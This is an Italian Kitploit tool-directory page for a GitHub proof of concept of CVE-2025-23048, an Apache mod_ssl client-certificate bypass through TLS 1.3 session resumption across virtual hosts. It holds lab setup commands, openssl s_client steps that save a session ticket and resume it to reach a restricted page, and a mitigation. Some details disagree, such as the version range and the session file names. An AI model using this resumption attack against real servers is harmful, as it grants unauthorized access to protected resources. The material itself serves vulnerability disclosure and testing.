Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-23048-POC — Le versioni di Apache HTTP Server 2.4.35 – 2.4.63 sono vulnerabili a un bypass dell'autenticazione del certificato client quando la ripresa della sessione TLS 1.3 viene utilizzata tra virtual host con diverse direttive `SSLCACertificateFile`. | Kitploit
Strumenti/GitHubGitHub/absholi7ly/cve-2025-23048-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingAutenticazione
GitHubabsholi7ly/cve-2025-23048-poc

CVE-2025-23048-POC

Le versioni di Apache HTTP Server 2.4.35 – 2.4.63 sono vulnerabili a un bypass dell'autenticazione del certificato client quando la ripresa della sessione TLS 1.3 viene utilizzata tra virtual host con diverse direttive `SSLCACertificateFile`.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
410 mesi faNon ancora revisionato

CVE-2025-23048: Bypass del certificato client nella ripresa della sessione TLS 1.3 di Apache mod_ssl

Le versioni 2.4.35 – 2.4.62 di Apache HTTP Server sono vulnerabili a un bypass dell'autenticazione tramite certificato client quando la ripresa della sessione TLS 1.3 viene utilizzata tra virtual host con direttive SSLCACertificateFile diverse.

Un attaccante in possesso di un certificato client valido per un virtual host può riprendere una sessione TLS 1.3 su un virtual host diverso che richiede un certificato emesso da una CA distinta — ottenendo accesso non autorizzato a risorse protette.


Ambiente di test

  • Apache HTTP Server: 2.4.57 (Win64)
  • Sistema operativo: Windows 10 (64-bit)

Configurazione del server

1. Installare Apache 2.4.57 (Win64)

root@kitploit:~

Download from: https://www.apachelounge.com/download/VS16/binaries/httpd-2.4.57-win64-VS16.zip

Extract to C:\Apache24

root@kitploit:~

### 2. Abilitare i moduli richiesti in `conf\httpd.conf`
```apache
LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so

3. Configurare la cache di sessione SSL

root@kitploit:~
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on

4. Creare la directory SSL e generare i certificati

root@kitploit:~
cd C:\Apache24\conf
mkdir ssl
cd ssl

# Server cert (self-signed)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"

# CA1 and client cert for vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365

# CA2 for vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"

# Cleanup
del client_ca1.csr *.srl

5. Configurare i virtual host (conf\extra\httpd-vhosts.conf)

root@kitploit:~
<VirtualHost *:443>
    ServerName vhost1.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost1"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
    SSLVerifyClient optional
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location />
        Require ssl-verify-client
    </Location>
</VirtualHost>

<VirtualHost *:443>
    ServerName vhost2.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost2"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"

    SSLVerifyClient optional_no_ca
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location /restricted>
        Require valid-user
    </Location>
</VirtualHost>

6. Creare il contenuto protetto

root@kitploit:~
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html

mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html

7. Avviare Apache

root@kitploit:~
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start

Prova di concetto

Passo 1: Handshake completo con vhost1 → Salvare la sessione

root@kitploit:~
openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443

Input dopo la connessione:

root@kitploit:~
GET / HTTP/1.1
Host: vhost1.example.com

Apache

Output atteso (troncato):

root@kitploit:~
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>

Ticket di sessione salvato in session_shared.pem.


Passo 2: Riprendere la sessione su vhost2 → Accedere al percorso protetto

root@kitploit:~
openssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443

Input:

root@kitploit:~
GET /restricted/ HTTP/1.1
Host: vhost2.example.com

Output atteso (critico):

root@kitploit:~
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Resumption PSK: ...
    TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

Apache

Il certificato client di CA1 è stato accettato su vhost2 (che si fida solo di CA2)
Non si è verificata alcuna ri-autenticazione — la ripresa della sessione ha aggirato il controllo della CA


Mitigazione

root@kitploit:~
SSLStrictSNIVHostCheck on

in tutti i virtual host TLS 1.3 che richiedono CA client distinte.

Disabilita la ripresa della sessione tra SNI diversi — previene il bypass.


Scarica lo strumento